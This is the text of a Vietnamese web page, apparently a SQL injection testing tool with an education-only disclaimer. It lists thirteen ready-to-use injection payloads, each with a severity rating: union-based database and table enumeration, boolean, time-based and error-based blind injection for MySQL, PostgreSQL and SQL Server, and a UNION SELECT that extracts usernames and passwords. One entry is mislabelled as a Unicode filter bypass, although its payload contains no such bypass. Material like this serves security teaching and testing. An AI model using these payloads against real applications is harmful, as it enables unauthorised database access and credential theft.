Kiểm tra SQL Injection

Công cụ giáo dục để hiểu về lỗ hổng SQL Injection với payload tiếng Việt. Chỉ sử dụng trong môi trường test an toàn và có sự cho phép.

⚠️ Cảnh báo quan trọng

Công cụ này chỉ dành cho mục đích giáo dục và kiểm tra bảo mật hợp pháp. Không sử dụng để tấn công các hệ thống không có sự cho phép.

Cấu hình kiểm tra

Payload SQL Injection

Union Select - Cơ bản

Payload cơ bản để test union-based injection

Trung bình
' UNION SELECT 1,2,3--
Union-based SQL Injection

Union Select - Thông tin database

Lấy thông tin về database hiện tại

Cao
' UNION SELECT database(),user(),version()--
Information Gathering

Union Select - Liệt kê bảng

Liệt kê tất cả các bảng trong database

Cao
' UNION SELECT table_name,null,null FROM information_schema.tables--
Table Enumeration

Boolean - Test cơ bản

Test boolean-based blind injection

Thấp
' AND 1=1--
Boolean-based Blind SQL Injection

Boolean - Test sai

Test với điều kiện sai để so sánh response

Thấp
' AND 1=2--
Boolean-based Blind SQL Injection

Boolean - Kiểm tra user

Kiểm tra user hiện tại có quyền admin

Trung bình
' AND (SELECT COUNT(*) FROM users WHERE role='admin')>0--
Privilege Escalation

Time-based - MySQL

Time-based blind injection cho MySQL

Trung bình
' AND (SELECT SLEEP(5))--
Time-based Blind SQL Injection

Time-based - PostgreSQL

Time-based blind injection cho PostgreSQL

Trung bình
'; SELECT pg_sleep(5)--
Time-based Blind SQL Injection

Time-based - SQL Server

Time-based blind injection cho SQL Server

Trung bình
'; WAITFOR DELAY '00:00:05'--
Time-based Blind SQL Injection

Error-based - MySQL

Gây lỗi để lộ thông tin database

Cao
' AND (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY concat(version(),floor(rand()*2)))--
Error-based SQL Injection

Error-based - Double query

Sử dụng double query để lấy thông tin

Cao
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(database(),FLOOR(RAND()*2))x FROM information_schema.tables GROUP BY x)a)--
Error-based SQL Injection

Tìm kiếm tên Việt

Payload tìm kiếm với tên tiếng Việt

Thấp
' OR name LIKE '%Nguyễn%' OR name LIKE '%Trần%'--
Data Extraction

Bypass với Unicode

Bypass filter sử dụng ký tự Unicode Việt

Trung bình
' UNION SELECT username,password FROM users--
Filter Bypass

Payload tùy chỉnh